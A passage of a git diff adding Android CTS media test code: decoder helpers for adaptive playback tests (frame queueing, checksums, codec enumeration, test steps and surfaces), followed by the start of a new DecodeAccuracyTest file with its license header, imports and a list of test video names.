+
+        public void configureAndStart(MediaFormat format, TestSurface surface) {
+            mSurface = surface;
+            Log.i(TAG, "configure(" + format + ", " + mSurface.getSurface() + ")");
+            mCodec.configure(format, mSurface.getSurface(), null /* crypto */, 0 /* flags */);
+            Log.i(TAG, "start");
+            mCodec.start();
+
+            // inject some minimal setOutputSurface test
+            // TODO: change this test to also change the surface midstream
+            try {
+                mCodec.setOutputSurface(null);
+                fail("should not be able to set surface to NULL");
+            } catch (IllegalArgumentException e) {}
+            mCodec.setOutputSurface(mSurface.getSurface());
+
+            mInputBuffers = mCodec.getInputBuffers();
+            mOutputBuffers = mCodec.getOutputBuffers();
+            Log.i(TAG, "configured " + mInputBuffers.length + " input[" +
+                  mInputBuffers[0].capacity() + "] and " +
+                  mOutputBuffers.length + "output[" +
+                  (mOutputBuffers[0] == null ? null : mOutputBuffers[0].capacity()) + "]");
+            mQueuedEos = false;
+            mRenderedTimeStamps.clear();
+            mLastRenderNanoTime = System.nanoTime();
+            mFramesNotifiedRendered = 0;
+        }
+
+        public void stop() {
+            Log.i(TAG, "stop");
+            mCodec.stop();
+            // if we have queued 32 frames or more, at least one should have been notified
+            // to have rendered.
+            if (mRenderedTimeStamps.size() > 32 && mFramesNotifiedRendered == 0) {
+                fail("rendered " + mRenderedTimeStamps.size() +
+                        " frames, but none have been notified.");
+            }
+        }
+
+        public void flush() {
+            Log.i(TAG, "flush");
+            mCodec.flush();
+            mQueuedEos = false;
+            mTimeStamps.clear();
+        }
+
+        public String dequeueAndReleaseOutputBuffer(MediaCodec.BufferInfo info) {
+            int ix = mCodec.dequeueOutputBuffer(info, kTimeOutUs);
+            if (ix == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                mOutputBuffers = mCodec.getOutputBuffers();
+                Log.d(TAG, "output buffers have changed.");
+                return null;
+            } else if (ix == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                MediaFormat format = mCodec.getOutputFormat();
+                Log.d(TAG, "output format has changed to " + format);
+                int colorFormat = format.getInteger(MediaFormat.KEY_COLOR_FORMAT);
+                mDoChecksum = isRecognizedFormat(colorFormat);
+                mOutputFormatChanged = true;
+                ++mOutputFormatChangeCount;
+                return null;
+            } else if (ix < 0) {
+                Log.v(TAG, "no output");
+                return null;
+            }
+            /* create checksum */
+            long sum = 0;
+
+            Log.v(TAG, "dequeue #" + ix + " => { [" + info.size + "] flags=" + info.flags +
+                    " @" + info.presentationTimeUs + "}");
+
+            // we get a nonzero size for valid decoded frames
+            boolean doRender = (info.size != 0);
+
+            if (doRender) {
+                mRenderedTimeStamps.add(info.presentationTimeUs);
+                if (!mTimeStamps.remove(info.presentationTimeUs)) {
+                    warn("invalid (decoded) timestamp " + info.presentationTimeUs + ", queued " +
+                            mTimeStamps);
+                }
+            }
+
+            if (mSurface.getSurface() == null) {
+                if (mDoChecksum) {
+                    sum = checksum(mOutputBuffers[ix], info.size, mCRC);
+                }
+                mCodec.releaseOutputBuffer(ix, doRender);
+            } else if (doRender) {
+                // If using SurfaceTexture, as soon as we call releaseOutputBuffer, the
+                // buffer will be forwarded to SurfaceTexture to convert to a texture.
+                // The API doesn't guarantee that the texture will be available before
+                // the call returns, so we need to wait for the onFrameAvailable callback
+                // to fire.  If we don't wait, we risk dropping frames.
+                mSurface.prepare();
+                mCodec.releaseOutputBuffer(ix, doRender);
+                mSurface.waitForDraw();
+                if (mDoChecksum) {
+                    sum = mSurface.checksum();
+                }
+            } else {
+                mCodec.releaseOutputBuffer(ix, doRender);
+            }
+
+            if (mOutputFormatChanged) {
+                // Previous dequeue was output format change; format change must
+                // correspond to a new sequence, so it must happen right before
+                // the first frame of one of the sequences.
+                // this part of test is new for Android12
+                if (sIsAtLeastS) {
+                    assertTrue("Codec " + getName() + " cannot find formatchange " + info.presentationTimeUs +
+                        " in " + mFirstQueueTimestamps,
+                        mFirstQueueTimestamps.remove(info.presentationTimeUs));
+                }
+                mOutputFormatChanged = false;
+            }
+
+            return String.format(Locale.US, "{pts=%d, flags=%x, data=0x%x}",
+                                 info.presentationTimeUs, info.flags, sum);
+        }
+
+        /* returns true iff queued a frame */
+        public boolean queueInputBuffer(Media media, int frameIx, boolean EOS) {
+            return queueInputBuffer(media, frameIx, EOS, 0);
+        }
+
+        public boolean queueInputBuffer(Media media, int frameIx, boolean EOS, long adjustTimeUs) {
+            if (mQueuedEos) {
+                return false;
+            }
+
+            int ix = mCodec.dequeueInputBuffer(kTimeOutUs);
+
+            if (ix < 0) {
+                return false;
+            }
+
+            ByteBuffer buf = mInputBuffers[ix];
+            Media.Frame frame = media.getFrame(frameIx);
+            buf.clear();
+
+            long presentationTimeUs = adjustTimeUs;
+            int flags = 0;
+            if (frame != null) {
+                buf.put((ByteBuffer)frame.buf.clear());
+                presentationTimeUs += frame.presentationTimeUs;
+                flags = frame.flags;
+            }
+
+            if (EOS) {
+                flags |= MediaCodec.BUFFER_FLAG_END_OF_STREAM;
+                mQueuedEos = true;
+            }
+
+            mTimeStamps.add(presentationTimeUs);
+            Log.v(TAG, "queue { [" + buf.position() + "]=" + byteBufferToString(buf, 0, 16) +
+                    " flags=" + flags + " @" + presentationTimeUs + "} => #" + ix);
+            mCodec.queueInputBuffer(
+                    ix, 0 /* offset */, buf.position(), presentationTimeUs, flags);
+            return true;
+        }
+
+        /* returns number of frames received multiplied by -1 if received EOS, 1 otherwise */
+        public int queueInputBufferRange(
+                Media media, int frameStartIx, int frameEndIx, boolean sendEosAtEnd,
+                boolean waitForEos) {
+            return queueInputBufferRange(
+                    media, frameStartIx, frameEndIx, sendEosAtEnd, waitForEos, 0, false);
+        }
+
+        public void queueCSD(MediaFormat format) {
+            MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+            for (int csdIx = 0; ; ++csdIx) {
+                ByteBuffer csdBuf = format.getByteBuffer("csd-" + csdIx);
+                if (csdBuf == null) {
+                    break;
+                }
+
+                int ix = mCodec.dequeueInputBuffer(kCSDTimeOutUs);
+                if (ix < 0) {
+                    fail("Could not dequeue input buffer for CSD #" + csdIx);
+                    return;
+                }
+
+                ByteBuffer buf = mInputBuffers[ix];
+                buf.clear();
+                buf.put((ByteBuffer)csdBuf.clear());
+                csdBuf.clear();
+                Log.v(TAG, "queue-CSD { [" + buf.position() + "]=" +
+                        byteBufferToString(buf, 0, 16) + "} => #" + ix);
+                mCodec.queueInputBuffer(
+                        ix, 0 /* offset */, buf.position(), 0 /* timeUs */,
+                        MediaCodec.BUFFER_FLAG_CODEC_CONFIG);
+            }
+        }
+
+        public int queueInputBufferRange(
+                Media media, int frameStartIx, int frameEndIx, boolean sendEosAtEnd,
+                boolean waitForEos, long adjustTimeUs, boolean sleepAfterFirstQueue) {
+            final int targetNumFramesDecoded = Math.min(frameEndIx - frameStartIx - 16, 0);
+            MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+            int frameIx = frameStartIx;
+            int numFramesDecoded = 0;
+            boolean sawOutputEos = false;
+            int deadDecoderCounter = 0;
+            ArrayList<String> frames = new ArrayList<String>();
+            String buf = null;
+            // After all input buffers are queued, dequeue as many output buffers as possible.
+            while ((waitForEos && !sawOutputEos) || frameIx < frameEndIx ||
+                   numFramesDecoded < targetNumFramesDecoded) {
+                if (frameIx < frameEndIx) {
+                    if (queueInputBuffer(
+                            media,
+                            frameIx,
+                            sendEosAtEnd && (frameIx + 1 == frameEndIx),
+                            adjustTimeUs)) {
+                        if (frameIx == frameStartIx) {
+                            if (sleepAfterFirstQueue) {
+                                // MediaCodec detects and processes output format change upon
+                                // the first frame. It must not send the event prematurely with
+                                // pending buffers to be dequeued. Sleep after the first frame
+                                // with new resolution to make sure MediaCodec had enough time
+                                // to process the frame with pending buffers.
+                                try {
+                                    Thread.sleep(100);
+                                } catch (InterruptedException e) {}
+                            }
+                            mFirstQueueTimestamps.add(mTimeStamps.get(mTimeStamps.size() - 1));
+                        }
+                        frameIx++;
+                    }
+                }
+
+                buf = dequeueAndReleaseOutputBuffer(info);
+                if (buf != null) {
+                    // Some decoders output a 0-sized buffer at the end. Disregard those.
+                    if (info.size > 0) {
+                        deadDecoderCounter = 0;
+                        numFramesDecoded++;
+                    }
+
+                    if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                        Log.d(TAG, "saw output EOS.");
+                        sawOutputEos = true;
+                    }
+                }
+                if (++deadDecoderCounter >= 100) {
+                    warn("have not received an output frame for a while");
+                    break;
+                }
+            }
+
+            if (numFramesDecoded < targetNumFramesDecoded) {
+                fail("Queued " + (frameEndIx - frameStartIx) + " frames but only received " +
+                        numFramesDecoded);
+            }
+            return (sawOutputEos ? -1 : 1) * numFramesDecoded;
+        }
+
+        void release() {
+            Log.i(TAG, "release");
+            mCodec.release();
+            mSurface.release();
+            mInputBuffers = null;
+            mOutputBuffers = null;
+            mCodec = null;
+            mSurface = null;
+        }
+
+        // don't fail on exceptions in release()
+        void releaseQuietly() {
+            try {
+                Log.i(TAG, "release");
+                mCodec.release();
+            } catch (Throwable e) {
+                Log.e(TAG, "Exception while releasing codec", e);
+            }
+            mSurface.release();
+            mInputBuffers = null;
+            mOutputBuffers = null;
+            mCodec = null;
+            mSurface = null;
+        }
+    };
+
+    /* from EncodeDecodeTest */
+    private static boolean isRecognizedFormat(int colorFormat) {
+        switch (colorFormat) {
+            // these are the formats we know how to handle for this test
+            case MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Planar:
+            case MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420PackedPlanar:
+            case MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420SemiPlanar:
+            case MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420PackedSemiPlanar:
+            case MediaCodecInfo.CodecCapabilities.COLOR_TI_FormatYUV420PackedSemiPlanar:
+                return true;
+            default:
+                return false;
+        }
+    }
+
+    private int countFrames(
+            String codecName, MediaCodecInfo codecInfo, Media media, int eosframe, TestSurface s)
+            throws Exception {
+        Decoder codec = new Decoder(codecName);
+        codec.configureAndStart(media.getFormat(), s /* surface */);
+
+        int numframes = codec.queueInputBufferRange(
+                media, 0, eosframe, true /* sendEos */, true /* waitForEos */);
+        if (numframes >= 0) {
+            Log.w(TAG, "Did not receive EOS");
+        } else {
+            numframes *= -1;
+        }
+
+        codec.stop();
+        codec.release();
+        return numframes;
+    }
+}
+
+/* ====================================================================== */
+/*                             Video Media Asset                          */
+/* ====================================================================== */
+class Media {
+    private final static String TAG = "AdaptiveMedia";
+    private MediaFormat mFormat;
+    private MediaFormat mAdaptiveFormat;
+    static class Frame {
+        long presentationTimeUs;
+        int flags;
+        ByteBuffer buf;
+        public Frame(long _pts, int _flags, ByteBuffer _buf) {
+            presentationTimeUs = _pts;
+            flags = _flags;
+            buf = _buf;
+        }
+    };
+    private Frame[] mFrames;
+
+    public Frame getFrame(int ix) {
+        /* this works even on short sample as frame is allocated as null */
+        if (ix >= 0 && ix < mFrames.length) {
+            return mFrames[ix];
+        }
+        return null;
+    }
+    private Media(MediaFormat format, MediaFormat adaptiveFormat, int numFrames) {
+        /* need separate copies of format as once we add adaptive flags to
+           MediaFormat, we cannot remove them */
+        mFormat = format;
+        mAdaptiveFormat = adaptiveFormat;
+        mFrames = new Frame[numFrames];
+    }
+
+    public MediaFormat getFormat() {
+        return mFormat;
+    }
+
+    public static MediaFormat removeCSD(MediaFormat orig) {
+        MediaFormat copy = MediaFormat.createVideoFormat(
+                orig.getString(orig.KEY_MIME),
+                orig.getInteger(orig.KEY_WIDTH), orig.getInteger(orig.KEY_HEIGHT));
+        for (String k : new String[] {
+                orig.KEY_FRAME_RATE, orig.KEY_MAX_WIDTH, orig.KEY_MAX_HEIGHT,
+                orig.KEY_MAX_INPUT_SIZE
+        }) {
+            if (orig.containsKey(k)) {
+                try {
+                    copy.setInteger(k, orig.getInteger(k));
+                } catch (ClassCastException e) {
+                    try {
+                        copy.setFloat(k, orig.getFloat(k));
+                    } catch (ClassCastException e2) {
+                        // Could not copy value. Don't fail here, as having non-standard
+                        // value types for defined keys is permissible by the media API
+                        // for optional keys.
+                    }
+                }
+            }
+        }
+        return copy;
+    }
+
+    public MediaFormat getAdaptiveFormat(int width, int height, int maxInputSize) {
+        mAdaptiveFormat.setInteger(MediaFormat.KEY_MAX_WIDTH, width);
+        mAdaptiveFormat.setInteger(MediaFormat.KEY_MAX_HEIGHT, height);
+        mAdaptiveFormat.setInteger(MediaFormat.KEY_MAX_INPUT_SIZE, maxInputSize);
+        return mAdaptiveFormat;
+    }
+
+    public String getMime() {
+        return mFormat.getString(MediaFormat.KEY_MIME);
+    }
+
+    public int getMaxInputSize() {
+        return mFormat.getInteger(MediaFormat.KEY_MAX_INPUT_SIZE);
+    }
+
+    public void setMaxInputSize(int maxInputSize) {
+        mFormat.setInteger(MediaFormat.KEY_MAX_INPUT_SIZE, maxInputSize);
+    }
+
+    public int getWidth() {
+        return mFormat.getInteger(MediaFormat.KEY_WIDTH);
+    }
+
+    public int getHeight() {
+        return mFormat.getInteger(MediaFormat.KEY_HEIGHT);
+    }
+
+    public final static int RANGE_START = 0;
+    public final static int RANGE_END = 1;
+    public final static int RANGE_DURATION = 2;
+
+    public long getTimestampRangeValue(int frameStartIx, int frameEndIx, int kind) {
+        long min = Long.MAX_VALUE, max = Long.MIN_VALUE;
+        for (int frameIx = frameStartIx; frameIx < frameEndIx; frameIx++) {
+            Frame frame = getFrame(frameIx);
+            if (frame != null) {
+                if (min > frame.presentationTimeUs) {
+                    min = frame.presentationTimeUs;
+                }
+                if (max < frame.presentationTimeUs) {
+                    max = frame.presentationTimeUs;
+                }
+            }
+        }
+        if (kind == RANGE_START) {
+            return min;
+        } else if (kind == RANGE_END) {
+            return max;
+        } else if (kind == RANGE_DURATION) {
+            return max - min;
+        } else {
+            throw new IllegalArgumentException("kind is not valid: " + kind);
+        }
+    }
+
+    public static Media read(final String video, int numFrames)
+            throws java.io.IOException {
+
+        Preconditions.assertTestFileExists(video);
+        MediaExtractor extractor = new MediaExtractor();
+        extractor.setDataSource(video);
+
+        Media media = new Media(
+                extractor.getTrackFormat(0), extractor.getTrackFormat(0), numFrames);
+        extractor.selectTrack(0);
+
+        Log.i(TAG, "format=" + media.getFormat());
+        ArrayList<ByteBuffer> csds = new ArrayList<ByteBuffer>();
+        for (String tag: new String[] { "csd-0", "csd-1" }) {
+            if (media.getFormat().containsKey(tag)) {
+                ByteBuffer csd = media.getFormat().getByteBuffer(tag);
+                Log.i(TAG, tag + "=" + AdaptivePlaybackTest.byteBufferToString(csd, 0, 16));
+                csds.add(csd);
+            }
+        }
+
+        int maxInputSize = 0;
+        ByteBuffer readBuf = ByteBuffer.allocate(2000000);
+        for (int ix = 0; ix < numFrames; ix++) {
+            int sampleSize = extractor.readSampleData(readBuf, 0 /* offset */);
+
+            if (sampleSize < 0) {
+                throw new IllegalArgumentException("media is too short at " + ix + " frames");
+            } else {
+                readBuf.position(0).limit(sampleSize);
+                for (ByteBuffer csd: csds) {
+                    sampleSize += csd.capacity();
+                }
+
+                if (maxInputSize < sampleSize) {
+                    maxInputSize = sampleSize;
+                }
+
+                ByteBuffer buf = ByteBuffer.allocate(sampleSize);
+                for (ByteBuffer csd: csds) {
+                    csd.clear();
+                    buf.put(csd);
+                    csd.clear();
+                    Log.i(TAG, "csd[" + csd.capacity() + "]");
+                }
+                Log.i(TAG, "frame-" + ix + "[" + sampleSize + "]");
+                csds.clear();
+                buf.put(readBuf);
+                media.mFrames[ix] = new Frame(
+                    extractor.getSampleTime(),
+                    extractor.getSampleFlags(),
+                    buf);
+                extractor.advance();
+            }
+        }
+        extractor.release();
+
+        /* Override MAX_INPUT_SIZE in format, as CSD is being combined
+         * with one of the input buffers */
+        media.setMaxInputSize(maxInputSize);
+        return media;
+    }
+}
+
+/* ====================================================================== */
+/*                      Codec, CodecList and CodecFactory                 */
+/* ====================================================================== */
+class Codec {
+    private final static String TAG = "AdaptiveCodec";
+
+    public String name;
+    public CodecCapabilities capabilities;
+    public Media[] mediaList;
+    public boolean adaptive;
+    public boolean vendor;
+    public Codec(MediaCodecInfo info, CodecCapabilities c, Media[] m) {
+        name = info.getName();
+        capabilities = c;
+        List<Media> medias = new ArrayList<Media>();
+
+        if (capabilities == null) {
+            adaptive = false;
+            vendor = true;
+        } else {
+            Log.w(TAG, "checking capabilities of " + name + " for " + m[0].getMime());
+            adaptive = capabilities.isFeatureSupported(CodecCapabilities.FEATURE_AdaptivePlayback);
+            vendor = info.isVendor();
+            for (Media media : m) {
+                if (media.getHeight() >= 720 &&
+                        !capabilities.isFormatSupported(media.getFormat())) {
+                    // skip if 720p and up is unsupported
+                    Log.w(TAG, "codec " + name + " doesn't support " + media.getFormat());
+                    continue;
+                }
+                medias.add(media);
+            }
+        }
+
+        if (medias.size() < 2) {
+            Log.e(TAG, "codec " + name + " doesn't support required resolutions");
+        }
+        mediaList = medias.subList(0, 2).toArray(new Media[2]);
+    }
+}
+
+class CodecList extends ArrayList<Codec> { };
+
+/* all codecs of mime, plus named codec if exists */
+class CodecFamily extends CodecList {
+    private final static String TAG = "AdaptiveCodecFamily";
+    private static final int NUM_FRAMES = AdaptivePlaybackTest.NUM_FRAMES;
+    static final String mInpPrefix = WorkDir.getMediaDirString();
+
+    public CodecFamily(String mime, final String ... resources) {
+        try {
+            if (TestArgs.shouldSkipMediaType(mime)) {
+                return;
+            }
+
+            /* read all media */
+            Media[] mediaList = new Media[resources.length];
+            for (int i = 0; i < resources.length; i++) {
+                Log.v(TAG, "reading media " + mInpPrefix + resources[i]);
+                Media media = Media.read(mInpPrefix + resources[i], NUM_FRAMES);
+                assert media.getMime().equals(mime):
+                        "test stream " + mInpPrefix + resources[i] + " has " + media.getMime() +
+                        " mime type instead of " + mime;
+
+                /* assuming the first timestamp is the smallest */
+                long firstPTS = media.getFrame(0).presentationTimeUs;
+                long smallestPTS = media.getTimestampRangeValue(0, NUM_FRAMES, Media.RANGE_START);
+
+                assert firstPTS == smallestPTS:
+                        "first frame timestamp (" + firstPTS + ") is not smallest (" +
+                        smallestPTS + ")";
+
+                mediaList[i] = media;
+            }
+
+            /* enumerate codecs */
+            MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+            for (MediaCodecInfo codecInfo : mcl.getCodecInfos()) {
+                if (codecInfo.isAlias()) {
+                    continue;
+                }
+                if (codecInfo.isEncoder()) {
+                    continue;
+                }
+                for (String type : codecInfo.getSupportedTypes()) {
+                    if (type.equals(mime)) {
+                        add(new Codec(
+                                codecInfo,
+                                codecInfo.getCapabilitiesForType(mime),
+                                mediaList));
+                        break;
+                    }
+                }
+            }
+        } catch (Throwable t) {
+            Log.wtf("Constructor failed", t);
+            throw new RuntimeException("constructor failed", t);
+        }
+    }
+}
+
+/* all codecs of mime, except named codec if exists */
+class CodecFamilySpecific extends CodecList {
+    public CodecFamilySpecific(String mime, boolean isGoogle, final String ... resources) {
+        for (Codec c: new CodecFamily(mime, resources)) {
+            if (!c.vendor == isGoogle) {
+                add(c);
+            }
+        }
+    }
+}
+
+class CodecFactory {
+    public CodecList createCodecList(String mime, final String ...resources) {
+        return new CodecFamily(mime, resources);
+    }
+}
+
+class SWCodecFactory extends CodecFactory {
+    public CodecList createCodecList(String mime, final String ...resources) {
+        return new CodecFamilySpecific(mime, true, resources);
+    }
+}
+
+class HWCodecFactory extends CodecFactory {
+    public CodecList createCodecList(String mime, final String ...resources) {
+        return new CodecFamilySpecific(mime, false, resources);
+    }
+}
+
+/* ====================================================================== */
+/*                  Test Steps, Test (Case)s, and Test List               */
+/* ====================================================================== */
+class StepRunner implements Runnable {
+    public StepRunner(Step s) {
+        mStep = s;
+        mThrowed = null;
+    }
+    public void run() {
+        try {
+            mStep.run();
+        } catch (Throwable e) {
+            mThrowed = e;
+        }
+    }
+    public void throwThrowed() throws Throwable {
+        if (mThrowed != null) {
+            throw mThrowed;
+        }
+    }
+    private Throwable mThrowed;
+    private Step mStep;
+}
+
+class TestList extends ArrayList<Step> {
+    private final static String TAG = "AdaptiveTestList";
+    public void run() throws Throwable {
+        Throwable res = null;
+        for (Step step: this) {
+            try {
+                Log.i(TAG, step.getDescription());
+                if (step.stepSurface().needsToRunInSeparateThread()) {
+                    StepRunner runner = new StepRunner(step);
+                    Thread th = new Thread(runner, "stepWrapper");
+                    th.start();
+                    th.join();
+                    runner.throwThrowed();
+                } else {
+                    step.run();
+                }
+            } catch (Throwable e) {
+                Log.e(TAG, "while " + step.getDescription(), e);
+                res = e;
+                mFailedSteps++;
+            } finally {
+                mWarnings += step.getWarnings();
+            }
+        }
+        if (res != null) {
+            throw new RuntimeException(
+                mFailedSteps + " failed steps, " + mWarnings + " warnings",
+                res);
+        }
+    }
+    public int getWarnings() {
+        return mWarnings;
+    }
+    public int getFailures() {
+        return mFailedSteps;
+    }
+    private int mFailedSteps;
+    private int mWarnings;
+}
+
+abstract class MediaTest {
+    public static final int FORMAT_ADAPTIVE_LARGEST = 1;
+    public static final int FORMAT_ADAPTIVE_FIRST = 2;
+    public static final int FORMAT_REGULAR = 3;
+
+    protected int mFormatType;
+    protected boolean mUseSurface;
+    protected boolean mUseSurfaceTexture;
+
+    public MediaTest() {
+        mFormatType = FORMAT_REGULAR;
+        mUseSurface = true;
+        mUseSurfaceTexture = false;
+    }
+
+    public MediaTest adaptive() {
+        mFormatType = FORMAT_ADAPTIVE_LARGEST;
+        return this;
+    }
+
+    public MediaTest adaptiveSmall() {
+        mFormatType = FORMAT_ADAPTIVE_FIRST;
+        return this;
+    }
+
+    public MediaTest byteBuffer() {
+        mUseSurface = false;
+        mUseSurfaceTexture = false;
+        return this;
+    }
+
+    public MediaTest texture() {
+        mUseSurface = false;
+        mUseSurfaceTexture = true;
+        return this;
+    }
+
+    public void checkAdaptiveFormat() {
+        assert mFormatType != FORMAT_REGULAR:
+                "must be used with adaptive format";
+    }
+
+    abstract protected TestSurface getSurface();
+
+    /* TRICKY: format is updated in each test run as we are actually reusing the
+       same 2 MediaFormat objects returned from MediaExtractor.  Therefore,
+       format must be explicitly obtained in each test step.
+
+       returns null if codec does not support the format.
+       */
+    protected MediaFormat getFormat(Codec c) {
+        return getFormat(c, 0);
+    }
+
+    protected MediaFormat getFormat(Codec c, int i) {
+        MediaFormat format = null;
+        if (mFormatType == FORMAT_REGULAR) {
+            format = c.mediaList[i].getFormat();
+        } else if (mFormatType == FORMAT_ADAPTIVE_FIRST && c.adaptive) {
+            format = c.mediaList[i].getAdaptiveFormat(
+                c.mediaList[i].getWidth(), c.mediaList[i].getHeight(), c.mediaList[i].getMaxInputSize());
+            for (Media media : c.mediaList) {
+                /* get the largest max input size for all media and use that */
+                if (media.getMaxInputSize() > format.getInteger(MediaFormat.KEY_MAX_INPUT_SIZE)) {
+                    format.setInteger(MediaFormat.KEY_MAX_INPUT_SIZE, media.getMaxInputSize());
+                }
+            }
+        } else if (mFormatType == FORMAT_ADAPTIVE_LARGEST && c.adaptive) {
+            /* update adaptive format to max size used */
+            format = c.mediaList[i].getAdaptiveFormat(0, 0, 0);
+            for (Media media : c.mediaList) {
+                /* get the largest width, and the largest height independently */
+                if (media.getWidth() > format.getInteger(MediaFormat.KEY_MAX_WIDTH)) {
+                    format.setInteger(MediaFormat.KEY_MAX_WIDTH, media.getWidth());
+                }
+                if (media.getHeight() > format.getInteger(MediaFormat.KEY_MAX_HEIGHT)) {
+                    format.setInteger(MediaFormat.KEY_MAX_HEIGHT, media.getHeight());
+                }
+                if (media.getMaxInputSize() > format.getInteger(MediaFormat.KEY_MAX_INPUT_SIZE)) {
+                    format.setInteger(MediaFormat.KEY_MAX_INPUT_SIZE, media.getMaxInputSize());
+                }
+            }
+        }
+        return format;
+    }
+
+    public boolean isValid(Codec c) { return true; }
+    public abstract void addTests(TestList tests, Codec c);
+}
+
+abstract class Step {
+    private static final String TAG = "AdaptiveStep";
+
+    public Step(String title, MediaTest instance, Codec codec, Media media) {
+        mTest = instance;
+        mCodec = codec;
+        mMedia = media;
+        mDescription = title + " on " + stepSurface().getSurface() + " using " +
+            mCodec.name + " and " + stepFormat();
+    }
+    public Step(String title, MediaTest instance, Codec codec, int mediaIx) {
+        this(title, instance, codec, codec.mediaList[mediaIx]);
+    }
+    public Step(String title, MediaTest instance, Codec codec) {
+        this(title, instance, codec, 0);
+    }
+    public Step(String description) {
+        mDescription = description;
+    }
+    public Step() { }
+
+    public abstract void run() throws Throwable;
+
+    private String mDescription;
+    private MediaTest mTest;
+    private Codec mCodec;
+    private Media mMedia;
+    private int mWarnings;
+
+    /* TRICKY: use non-standard getter names so that we don't conflict with the getters
+       in the Test classes, as most test Steps are defined as anonymous classes inside
+       the test classes. */
+    public MediaFormat stepFormat() {
+        int ix = Arrays.asList(mCodec.mediaList).indexOf(mMedia);
+        return mTest.getFormat(mCodec, ix);
+    }
+
+    public TestSurface stepSurface() {
+        return mTest.getSurface();
+    }
+
+    public Media  stepMedia()       { return mMedia; }
+
+    public String getDescription() { return mDescription; }
+    public int    getWarnings()    { return mWarnings; }
+
+    public void warn(String message) {
+        Log.e(TAG, "WARNING: " + message + " in " + getDescription());
+        mWarnings++;
+    }
+    public void warn(String message, Throwable t) {
+        Log.e(TAG, "WARNING: " + message + " in " + getDescription(), t);
+        mWarnings++;
+    }
+    public void warn(Iterable<String> warnings) {
+        for (String warning: warnings) {
+            warn(warning);
+        }
+    }
+}
+
+interface TestSurface {
+    public Surface getSurface();
+    public long checksum();
+    public void release();
+    public void prepare();         // prepare surface prior to render
+    public void waitForDraw();     // wait for rendering to take place
+    public boolean needsToRunInSeparateThread();
+}
+
+class DecoderSurface extends OutputSurface implements TestSurface {
+    private ByteBuffer mBuf;
+    int mWidth;
+    int mHeight;
+    CRC32 mCRC;
+
+    public DecoderSurface(int width, int height, CRC32 crc) {
+        super(width, height);
+        mWidth = width;
+        mHeight = height;
+        mCRC = crc;
+        mBuf = ByteBuffer.allocateDirect(4 * width * height);
+    }
+
+    public void prepare() {
+        makeCurrent();
+    }
+
+    public void waitForDraw() {
+        awaitNewImage();
+        drawImage();
+    }
+
+    public long checksum() {
+        mBuf.position(0);
+        GLES20.glReadPixels(0, 0, mWidth, mHeight, GL10.GL_RGBA, GL10.GL_UNSIGNED_BYTE, mBuf);
+        mBuf.position(0);
+        return AdaptivePlaybackTest.checksum(mBuf, mBuf.capacity(), mCRC);
+    }
+
+    public void release() {
+        super.release();
+        mBuf = null;
+    }
+
+    public boolean needsToRunInSeparateThread() {
+        return true;
+    }
+}
+
+class ActivitySurface implements TestSurface {
+    private Surface mSurface;
+    public ActivitySurface(Surface s) {
+        mSurface = s;
+    }
+    public Surface getSurface() {
+        return mSurface;
+    }
+    public void prepare() { }
+    public void waitForDraw() { }
+    public long checksum() {
+        return 0;
+    }
+    public void release() {
+        // don't release activity surface, as it is reusable
+    }
+    public boolean needsToRunInSeparateThread() {
+        return false;
+    }
+}
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTest.java
new file mode 100644
index 0000000..145cfaf
--- /dev/null
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTest.java
@@ -0,0 +1,375 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.decoder.cts;
+
+import static junit.framework.TestCase.assertTrue;
+
+import static org.junit.Assert.fail;
+
+import android.media.decoder.cts.R;
+
+import android.annotation.TargetApi;
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.media.MediaFormat;
+import android.media.cts.MediaCodecTunneledPlayer;
+import android.media.cts.MediaHeavyPresubmitTest;
+import android.media.cts.TestArgs;
+import android.os.Environment;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+import android.view.View;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.FileOutputStream;
+import java.lang.reflect.Field;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.rules.Timeout;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameters;
+import org.junit.Test;
+
+@TargetApi(24)
+@RunWith(Parameterized.class)
+@MediaHeavyPresubmitTest
+@AppModeFull(reason = "There should be no instant apps specific behavior related to accuracy")
+public class DecodeAccuracyTest extends DecodeAccuracyTestBase {
+
+    private static final String TAG = DecodeAccuracyTest.class.getSimpleName();
+    private static final Field[] fields = R.raw.class.getFields();
+    private static final int ALLOWED_GREATEST_PIXEL_DIFFERENCE = 90;
+    private static final int OFFSET = 10;
+    private static final long PER_TEST_TIMEOUT_MS = 60000;
+    private static final String[] VIDEO_FILES = {
+        // 144p
+        "video_decode_accuracy_and_capability-h264_256x108_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_256x144_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_192x144_30fps.mp4",
+        "video_decode_accuracy_and_capability-h264_82x144_30fps.mp4",
